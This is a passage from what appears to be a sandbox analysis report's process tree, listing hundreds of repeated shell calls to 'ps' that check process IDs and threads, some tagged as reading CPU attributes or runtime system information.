    sh -c "ps --no-header -p 185 o pid"
    3⤵
    PID:2154
  - - /bin/ps
      ps --no-header -p 185 o pid
      4⤵
      PID:2155
- - /bin/sh
    sh -c "ps --no-header -p 186 o pid"
    3⤵
    PID:2156
  - - /bin/ps
      ps --no-header -p 186 o pid
      4⤵
      PID:2157
- - /bin/sh
    sh -c "ps --no-header -p 187 o pid"
    3⤵
    PID:2158
  - - /bin/ps
      ps --no-header -p 187 o pid
      4⤵
      PID:2159
- - /bin/sh
    sh -c "ps --no-header -p 188 o pid"
    3⤵
    PID:2160
  - - /bin/ps
      ps --no-header -p 188 o pid
      4⤵
      PID:2161
- - /bin/sh
    sh -c "ps --no-header -p 189 o pid"
    3⤵
    PID:2162
  - - /bin/ps
      ps --no-header -p 189 o pid
      4⤵
      PID:2163
- - /bin/sh
    sh -c "ps --no-header -p 190 o pid"
    3⤵
    PID:2164
  - - /bin/ps
      ps --no-header -p 190 o pid
      4⤵
      PID:2165
- - /bin/sh
    sh -c "ps --no-header -p 192 o pid"
    3⤵
    PID:2166
  - - /bin/ps
      ps --no-header -p 192 o pid
      4⤵
      PID:2167
- - /bin/sh
    sh -c "ps --no-header -p 217 o pid"
    3⤵
    PID:2168
  - - /bin/ps
      ps --no-header -p 217 o pid
      4⤵
      Reads CPU attributes
      PID:2169
- - /bin/sh
    sh -c "ps --no-header -p 218 o pid"
    3⤵
    PID:2170
  - - /bin/ps
      ps --no-header -p 218 o pid
      4⤵
      PID:2171
- - /bin/sh
    sh -c "ps --no-header -p 268 o pid"
    3⤵
    PID:2172
  - - /bin/ps
      ps --no-header -p 268 o pid
      4⤵
      PID:2173
- - /bin/sh
    sh -c "ps --no-header -p 288 o pid"
    3⤵
    PID:2174
  - - /bin/ps
      ps --no-header -p 288 o pid
      4⤵
      PID:2175
- - /bin/sh
    sh -c "ps --no-header -p 352 o pid"
    3⤵
    PID:2176
  - - /bin/ps
      ps --no-header -p 352 o pid
      4⤵
      PID:2177
- - /bin/sh
    sh -c "ps --no-header -p 353 o pid"
    3⤵
    PID:2178
  - - /bin/ps
      ps --no-header -p 353 o pid
      4⤵
      PID:2179
- - /bin/sh
    sh -c "ps --no-header -p 354 o pid"
    3⤵
    PID:2180
  - - /bin/ps
      ps --no-header -p 354 o pid
      4⤵
      PID:2181
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2182
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2183
- - /bin/sh
    sh -c "ps --no-header -p 433 o pid"
    3⤵
    PID:2184
  - - /bin/ps
      ps --no-header -p 433 o pid
      4⤵
      PID:2185
- - /bin/sh
    sh -c "ps --no-header -p 439 o pid"
    3⤵
    PID:2186
  - - /bin/ps
      ps --no-header -p 439 o pid
      4⤵
      PID:2187
- - /bin/sh
    sh -c "ps --no-header -p 442 o pid"
    3⤵
    PID:2188
  - - /bin/ps
      ps --no-header -p 442 o pid
      4⤵
      Reads runtime system information
      PID:2189
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2190
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2191
- - /bin/sh
    sh -c "ps --no-header -p 452 o pid"
    3⤵
    PID:2192
  - - /bin/ps
      ps --no-header -p 452 o pid
      4⤵
      PID:2193
- - /bin/sh
    sh -c "ps --no-header -p 453 o pid"
    3⤵
    PID:2194
  - - /bin/ps
      ps --no-header -p 453 o pid
      4⤵
      Reads runtime system information
      PID:2195
- - /bin/sh
    sh -c "ps --no-header -p 454 o pid"
    3⤵
    PID:2196
  - - /bin/ps
      ps --no-header -p 454 o pid
      4⤵
      PID:2197
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2198
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2199
- - /bin/sh
    sh -c "ps --no-header -p 455 o pid"
    3⤵
    PID:2200
  - - /bin/ps
      ps --no-header -p 455 o pid
      4⤵
      PID:2201
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2202
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2203
- - /bin/sh
    sh -c "ps --no-header -p 456 o pid"
    3⤵
    PID:2204
  - - /bin/ps
      ps --no-header -p 456 o pid
      4⤵
      PID:2205
- - /bin/sh
    sh -c "ps --no-header -p 457 o pid"
    3⤵
    PID:2206
  - - /bin/ps
      ps --no-header -p 457 o pid
      4⤵
      Reads runtime system information
      PID:2207
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2208
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2209
- - /bin/sh
    sh -c "ps --no-header -p 459 o pid"
    3⤵
    PID:2210
  - - /bin/ps
      ps --no-header -p 459 o pid
      4⤵
      Reads CPU attributes
      PID:2211
- - /bin/sh
    sh -c "ps --no-header -p 460 o pid"
    3⤵
    PID:2212
  - - /bin/ps
      ps --no-header -p 460 o pid
      4⤵
      PID:2213
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2214
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2215
- - /bin/sh
    sh -c "ps --no-header -p 463 o pid"
    3⤵
    PID:2216
  - - /bin/ps
      ps --no-header -p 463 o pid
      4⤵
      PID:2217
- - /bin/sh
    sh -c "ps --no-header -p 464 o pid"
    3⤵
    PID:2218
  - - /bin/ps
      ps --no-header -p 464 o pid
      4⤵
      Reads runtime system information
      PID:2219
- - /bin/sh
    sh -c "ps --no-header -p 465 o pid"
    3⤵
    PID:2220
  - - /bin/ps
      ps --no-header -p 465 o pid
      4⤵
      Reads runtime system information
      PID:2221
- - /bin/sh
    sh -c "ps --no-header -p 466 o pid"
    3⤵
    PID:2222
  - - /bin/ps
      ps --no-header -p 466 o pid
      4⤵
      PID:2223
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2224
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads CPU attributes
      PID:2225
- - /bin/sh
    sh -c "ps --no-header -p 473 o pid"
    3⤵
    PID:2226
  - - /bin/ps
      ps --no-header -p 473 o pid
      4⤵
      PID:2227
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2228
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2229
- - /bin/sh
    sh -c "ps --no-header -p 474 o pid"
    3⤵
    PID:2230
  - - /bin/ps
      ps --no-header -p 474 o pid
      4⤵
      PID:2231
- - /bin/sh
    sh -c "ps --no-header -p 480 o pid"
    3⤵
    PID:2232
  - - /bin/ps
      ps --no-header -p 480 o pid
      4⤵
      PID:2233
- - /bin/sh
    sh -c "ps --no-header -p 482 o pid"
    3⤵
    PID:2234
  - - /bin/ps
      ps --no-header -p 482 o pid
      4⤵
      Reads runtime system information
      PID:2235
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2236
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2237
- - /bin/sh
    sh -c "ps --no-header -p 485 o pid"
    3⤵
    PID:2238
  - - /bin/ps
      ps --no-header -p 485 o pid
      4⤵
      PID:2239
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2240
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2241
- - /bin/sh
    sh -c "ps --no-header -p 486 o pid"
    3⤵
    PID:2242
  - - /bin/ps
      ps --no-header -p 486 o pid
      4⤵
      PID:2243
- - /bin/sh
    sh -c "ps --no-header -p 490 o pid"
    3⤵
    PID:2244
  - - /bin/ps
      ps --no-header -p 490 o pid
      4⤵
      PID:2245
- - /bin/sh
    sh -c "ps --no-header -p 491 o pid"
    3⤵
    PID:2246
  - - /bin/ps
      ps --no-header -p 491 o pid
      4⤵
      PID:2247
- - /bin/sh
    sh -c "ps --no-header -p 495 o pid"
    3⤵
    PID:2248
  - - /bin/ps
      ps --no-header -p 495 o pid
      4⤵
      PID:2249
- - /bin/sh
    sh -c "ps --no-header -p 528 o pid"
    3⤵
    PID:2250
  - - /bin/ps
      ps --no-header -p 528 o pid
      4⤵
      PID:2251
- - /bin/sh
    sh -c "ps --no-header -p 530 o pid"
    3⤵
    PID:2252
  - - /bin/ps
      ps --no-header -p 530 o pid
      4⤵
      PID:2253
- - /bin/sh
    sh -c "ps --no-header -p 531 o pid"
    3⤵
    PID:2254
  - - /bin/ps
      ps --no-header -p 531 o pid
      4⤵
      PID:2255
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2256
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2257
- - /bin/sh
    sh -c "ps --no-header -p 533 o pid"
    3⤵
    PID:2258
  - - /bin/ps
      ps --no-header -p 533 o pid
      4⤵
      PID:2259
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2260
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2261
- - /bin/sh
    sh -c "ps --no-header -p 535 o pid"
    3⤵
    PID:2262
  - - /bin/ps
      ps --no-header -p 535 o pid
      4⤵
      PID:2263
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2264
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2265
- - /bin/sh
    sh -c "ps --no-header -p 538 o pid"
    3⤵
    PID:2266
  - - /bin/ps
      ps --no-header -p 538 o pid
      4⤵
      PID:2267
- - /bin/sh
    sh -c "ps --no-header -p 543 o pid"
    3⤵
    PID:2268
  - - /bin/ps
      ps --no-header -p 543 o pid
      4⤵
      PID:2269
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2270
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads CPU attributes
      PID:2271
- - /bin/sh
    sh -c "ps --no-header -p 544 o pid"
    3⤵
    PID:2272
  - - /bin/ps
      ps --no-header -p 544 o pid
      4⤵
      PID:2273
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2274
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads CPU attributes
      PID:2275
- - /bin/sh
    sh -c "ps --no-header -p 545 o pid"
    3⤵
    PID:2276
  - - /bin/ps
      ps --no-header -p 545 o pid
      4⤵
      PID:2277
- - /bin/sh
    sh -c "ps --no-header -p 559 o pid"
    3⤵
    PID:2278
  - - /bin/ps
      ps --no-header -p 559 o pid
      4⤵
      PID:2279
- - /bin/sh
    sh -c "ps --no-header -p 564 o pid"
    3⤵
    PID:2280
  - - /bin/ps
      ps --no-header -p 564 o pid
      4⤵
      PID:2281
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2282
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2283
- - /bin/sh
    sh -c "ps --no-header -p 566 o pid"
    3⤵
    PID:2284
  - - /bin/ps
      ps --no-header -p 566 o pid
      4⤵
      PID:2285
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2286
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2287
- - /bin/sh
    sh -c "ps --no-header -p 582 o pid"
    3⤵
    PID:2288
  - - /bin/ps
      ps --no-header -p 582 o pid
      4⤵
      PID:2289
- - /bin/sh
    sh -c "ps --no-header -p 584 o pid"
    3⤵
    PID:2290
  - - /bin/ps
      ps --no-header -p 584 o pid
      4⤵
      PID:2291
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2292
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2293
- - /bin/sh
    sh -c "ps --no-header -p 586 o pid"
    3⤵
    PID:2294
  - - /bin/ps
      ps --no-header -p 586 o pid
      4⤵
      Reads runtime system information
      PID:2295
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2296
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2297
- - /bin/sh
    sh -c "ps --no-header -p 591 o pid"
    3⤵
    PID:2298
  - - /bin/ps
      ps --no-header -p 591 o pid
      4⤵
      PID:2299
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2300
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2301
- - /bin/sh
    sh -c "ps --no-header -p 606 o pid"
    3⤵
    PID:2302
  - - /bin/ps
      ps --no-header -p 606 o pid
      4⤵
      PID:2303
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2304
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2305
- - /bin/sh
    sh -c "ps --no-header -p 607 o pid"
    3⤵
    PID:2306
  - - /bin/ps
      ps --no-header -p 607 o pid
      4⤵
      PID:2307
- - /bin/sh
    sh -c "ps --no-header -p 608 o pid"
    3⤵
    PID:2308
  - - /bin/ps
      ps --no-header -p 608 o pid
      4⤵
      PID:2309
- - /bin/sh
    sh -c "ps --no-header -p 627 o pid"
    3⤵
    PID:2310
  - - /bin/ps
      ps --no-header -p 627 o pid
      4⤵
      PID:2311
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2312
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2313
- - /bin/sh
    sh -c "ps --no-header -p 648 o pid"
    3⤵
    PID:2314
  - - /bin/ps
      ps --no-header -p 648 o pid
      4⤵
      PID:2315
- - /bin/sh
    sh -c "ps --no-header -p 654 o pid"
    3⤵
    PID:2316
  - - /bin/ps
      ps --no-header -p 654 o pid
      4⤵
      PID:2317
- - /bin/sh
    sh -c "ps --no-header -p 655 o pid"
    3⤵
    PID:2318
  - - /bin/ps
      ps --no-header -p 655 o pid
      4⤵
      PID:2319
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2320
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2321
- - /bin/sh
    sh -c "ps --no-header -p 658 o pid"
    3⤵
    PID:2322
  - - /bin/ps
      ps --no-header -p 658 o pid
      4⤵
      PID:2323
- - /bin/sh
    sh -c "ps --no-header -p 664 o pid"
    3⤵
    PID:2324
  - - /bin/ps
      ps --no-header -p 664 o pid
      4⤵
      Reads runtime system information
      PID:2325
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2326
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads CPU attributes
      PID:2327
- - /bin/sh
    sh -c "ps --no-header -p 672 o pid"
    3⤵
    PID:2328
  - - /bin/ps
      ps --no-header -p 672 o pid
      4⤵
      PID:2329
- - /bin/sh
    sh -c "ps --no-header -p 678 o pid"
    3⤵
    PID:2330
  - - /bin/ps
      ps --no-header -p 678 o pid
      4⤵
      PID:2331
- - /bin/sh
    sh -c "ps --no-header -p 680 o pid"
    3⤵
    PID:2332
  - - /bin/ps
      ps --no-header -p 680 o pid
      4⤵
      PID:2333
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2334
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2335
- - /bin/sh
    sh -c "ps --no-header -p 681 o pid"
    3⤵
    PID:2336
  - - /bin/ps
      ps --no-header -p 681 o pid
      4⤵
      PID:2337
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2338
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2339
- - /bin/sh
    sh -c "ps --no-header -p 682 o pid"
    3⤵
    PID:2340
  - - /bin/ps
      ps --no-header -p 682 o pid
      4⤵
      PID:2341
- - /bin/sh
    sh -c "ps --no-header -p 685 o pid"
    3⤵
    PID:2342
  - - /bin/ps
      ps --no-header -p 685 o pid
      4⤵
      PID:2343
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2344
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2345
- - /bin/sh
    sh -c "ps --no-header -p 722 o pid"
    3⤵
    PID:2346
  - - /bin/ps
      ps --no-header -p 722 o pid
      4⤵
      Reads CPU attributes
      PID:2347
- - /bin/sh
    sh -c "ps --no-header -p 723 o pid"
    3⤵
    PID:2348
  - - /bin/ps
      ps --no-header -p 723 o pid
      4⤵
      PID:2349
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2350
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2351
- - /bin/sh
    sh -c "ps --no-header -p 724 o pid"
    3⤵
    PID:2352
  - - /bin/ps
      ps --no-header -p 724 o pid
      4⤵
      PID:2353
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2354
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2355
- - /bin/sh
    sh -c "ps --no-header -p 726 o pid"
    3⤵
    PID:2356
  - - /bin/ps
      ps --no-header -p 726 o pid
      4⤵
      PID:2357
- - /bin/sh
    sh -c "ps --no-header -p 729 o pid"
    3⤵
    PID:2358
  - - /bin/ps
      ps --no-header -p 729 o pid
      4⤵
      PID:2359
- - /bin/sh
    sh -c "ps --no-header -p 894 o pid"
    3⤵
    PID:2360
  - - /bin/ps
      ps --no-header -p 894 o pid
      4⤵
      PID:2361
- - /bin/sh
    sh -c "ps --no-header -p 947 o pid"
    3⤵
    PID:2362
  - - /bin/ps
      ps --no-header -p 947 o pid
      4⤵
      Reads runtime system information
      PID:2363
- - /bin/sh
    sh -c "ps --no-header -p 949 o pid"
    3⤵
    PID:2364
  - - /bin/ps
      ps --no-header -p 949 o pid
      4⤵
      PID:2365
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2366
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2367
- - /bin/sh
    sh -c "ps --no-header -p 950 o pid"
    3⤵
    PID:2368
  - - /bin/ps
      ps --no-header -p 950 o pid
      4⤵
      PID:2369
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2370
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2371
- - /bin/sh
    sh -c "ps --no-header -p 952 o pid"
    3⤵
    PID:2372
  - - /bin/ps
      ps --no-header -p 952 o pid
      4⤵
      PID:2373
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2374
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads CPU attributes
      PID:2375
- - /bin/sh
    sh -c "ps --no-header -p 959 o pid"
    3⤵
    PID:2376
  - - /bin/ps
      ps --no-header -p 959 o pid
      4⤵
      PID:2377
- - /bin/sh
    sh -c "ps --no-header -p 971 o pid"
    3⤵
    PID:2378
  - - /bin/ps
      ps --no-header -p 971 o pid
      4⤵
      PID:2379
- - /bin/sh
    sh -c "ps --no-header -p 974 o pid"
    3⤵
    PID:2380
  - - /bin/ps
      ps --no-header -p 974 o pid
      4⤵
      PID:2381
- - /bin/sh
    sh -c "ps --no-header -p 975 o pid"
    3⤵
    PID:2382
  - - /bin/ps
      ps --no-header -p 975 o pid
      4⤵
      PID:2383
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2384
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2385
- - /bin/sh
    sh -c "ps --no-header -p 976 o pid"
    3⤵
    PID:2386
  - - /bin/ps
      ps --no-header -p 976 o pid
      4⤵
      PID:2387
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2388
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2389
- - /bin/sh
    sh -c "ps --no-header -p 977 o pid"
    3⤵
    PID:2390
  - - /bin/ps
      ps --no-header -p 977 o pid
      4⤵
      PID:2391
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2392
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2393
- - /bin/sh
    sh -c "ps --no-header -p 979 o pid"
    3⤵
    PID:2394
  - - /bin/ps
      ps --no-header -p 979 o pid
      4⤵
      PID:2395
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2396
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads CPU attributes
      PID:2397
- - /bin/sh
    sh -c "ps --no-header -p 982 o pid"
    3⤵
    PID:2398
  - - /bin/ps
      ps --no-header -p 982 o pid
      4⤵
      PID:2399
- - /bin/sh
    sh -c "ps --no-header -p 1006 o pid"
    3⤵
    PID:2400
  - - /bin/ps
      ps --no-header -p 1006 o pid
      4⤵
      PID:2401
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2402
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2403
- - /bin/sh
    sh -c "ps --no-header -p 1007 o pid"
    3⤵
    PID:2404
  - - /bin/ps
      ps --no-header -p 1007 o pid
      4⤵
      PID:2405
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2406
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2407
- - /bin/sh
    sh -c "ps --no-header -p 1016 o pid"
    3⤵
    PID:2408
  - - /bin/ps
      ps --no-header -p 1016 o pid
      4⤵
      Reads CPU attributes
      PID:2409
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2410
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2411
- - /bin/sh
    sh -c "ps --no-header -p 1026 o pid"
    3⤵
    PID:2412
  - - /bin/ps
      ps --no-header -p 1026 o pid
      4⤵
      PID:2413
- - /bin/sh
    sh -c "ps --no-header -p 1027 o pid"
    3⤵
    PID:2414
  - - /bin/ps
      ps --no-header -p 1027 o pid
      4⤵
      PID:2415
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2416
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2417
- - /bin/sh
    sh -c "ps --no-header -p 1028 o pid"
    3⤵
    PID:2418
  - - /bin/ps
      ps --no-header -p 1028 o pid
      4⤵
      PID:2419
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2420
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2421
- - /bin/sh
    sh -c "ps --no-header -p 1031 o pid"
    3⤵
    PID:2422
  - - /bin/ps
      ps --no-header -p 1031 o pid
      4⤵
      Reads CPU attributes
      PID:2423
- - /bin/sh
    sh -c "ps --no-header -p 1040 o pid"
    3⤵
    PID:2424
  - - /bin/ps
      ps --no-header -p 1040 o pid
      4⤵
      PID:2425
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2426
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2427
- - /bin/sh
    sh -c "ps --no-header -p 1041 o pid"
    3⤵
    PID:2428
  - - /bin/ps
      ps --no-header -p 1041 o pid
      4⤵
      PID:2429
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2430
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2431
- - /bin/sh
    sh -c "ps --no-header -p 1042 o pid"
    3⤵
    PID:2432
  - - /bin/ps
      ps --no-header -p 1042 o pid
      4⤵
      PID:2433
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2434
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2435
- - /bin/sh
    sh -c "ps --no-header -p 1044 o pid"
    3⤵
    PID:2436
  - - /bin/ps
      ps --no-header -p 1044 o pid
      4⤵
      Reads CPU attributes
      PID:2437
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2438
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2439
- - /bin/sh
    sh -c "ps --no-header -p 1052 o pid"
    3⤵
    PID:2440
  - - /bin/ps
      ps --no-header -p 1052 o pid
      4⤵
      PID:2441
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2442
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2443
- - /bin/sh
    sh -c "ps --no-header -p 1054 o pid"
    3⤵
    PID:2444
  - - /bin/ps
      ps --no-header -p 1054 o pid
      4⤵
      PID:2445
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2446
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2447
- - /bin/sh
    sh -c "ps --no-header -p 1055 o pid"
    3⤵
    PID:2448
  - - /bin/ps
      ps --no-header -p 1055 o pid
      4⤵
      PID:2449
- - /bin/sh
    sh -c "ps --no-header -p 1057 o pid"
    3⤵
    PID:2450
  - - /bin/ps
      ps --no-header -p 1057 o pid
      4⤵
      PID:2451
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2452
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2453
- - /bin/sh
    sh -c "ps --no-header -p 1058 o pid"
    3⤵
    PID:2454
  - - /bin/ps
      ps --no-header -p 1058 o pid
      4⤵
      PID:2455
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2456
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2457
- - /bin/sh
    sh -c "ps --no-header -p 1060 o pid"
    3⤵
    PID:2458
  - - /bin/ps
      ps --no-header -p 1060 o pid
      4⤵
      PID:2459
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2460
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads CPU attributes
      PID:2461
- - /bin/sh
    sh -c "ps --no-header -p 1061 o pid"
    3⤵
    PID:2462
  - - /bin/ps
      ps --no-header -p 1061 o pid
      4⤵
      PID:2463
- - /bin/sh
    sh -c "ps --no-header -p 1062 o pid"
    3⤵
    PID:2464
  - - /bin/ps
      ps --no-header -p 1062 o pid
      4⤵
      PID:2465
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2466
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2467
- - /bin/sh
    sh -c "ps --no-header -p 1063 o pid"
    3⤵
    PID:2468
  - - /bin/ps
      ps --no-header -p 1063 o pid
      4⤵
      Reads CPU attributes
      PID:2469
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2470
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2471
- - /bin/sh
    sh -c "ps --no-header -p 1069 o pid"
    3⤵
    PID:2472
  - - /bin/ps
      ps --no-header -p 1069 o pid
      4⤵
      Reads CPU attributes
      PID:2473
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2474
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2475
- - /bin/sh
    sh -c "ps --no-header -p 1070 o pid"
    3⤵
    PID:2476
  - - /bin/ps
      ps --no-header -p 1070 o pid
      4⤵
      PID:2477
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2478
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2479
- - /bin/sh
    sh -c "ps --no-header -p 1071 o pid"
    3⤵
    PID:2480
  - - /bin/ps
      ps --no-header -p 1071 o pid
      4⤵
      PID:2481
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2482
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2483
- - /bin/sh
    sh -c "ps --no-header -p 1072 o pid"
    3⤵
    PID:2484
  - - /bin/ps
      ps --no-header -p 1072 o pid
      4⤵
      PID:2485
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2486
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2487
- - /bin/sh
    sh -c "ps --no-header -p 1073 o pid"
    3⤵
    PID:2488
  - - /bin/ps
      ps --no-header -p 1073 o pid
      4⤵
      PID:2489
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2490
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2491
- - /bin/sh
    sh -c "ps --no-header -p 1074 o pid"
    3⤵
    PID:2492
  - - /bin/ps
      ps --no-header -p 1074 o pid
      4⤵
      PID:2493
- - /bin/sh
    sh -c "ps --no-header -p 1076 o pid"
    3⤵
    PID:2494
  - - /bin/ps
      ps --no-header -p 1076 o pid
      4⤵
      PID:2495
- - /bin/sh
    sh -c "ps --no-header -p 1077 o pid"
    3⤵
    PID:2496
  - - /bin/ps
      ps --no-header -p 1077 o pid
      4⤵
      PID:2497
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2498
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2499
- - /bin/sh
    sh -c "ps --no-header -p 1079 o pid"
    3⤵
    PID:2500
  - - /bin/ps
      ps --no-header -p 1079 o pid
      4⤵
      PID:2501
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2502
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      PID:2503
- - /bin/sh
    sh -c "ps --no-header -p 1082 o pid"
    3⤵
    PID:2504
  - - /bin/ps
      ps --no-header -p 1082 o pid
      4⤵
      PID:2505
- - /bin/sh
    sh -c "ps --no-header -eL o lwp"
    3⤵
    PID:2506
  - - /bin/ps
      ps --no-header -eL o lwp
      4⤵
      Reads runtime system information
      PID:2507
- - /bin/sh
    sh -c "ps --no-header -p 1083 o pid"
    3⤵
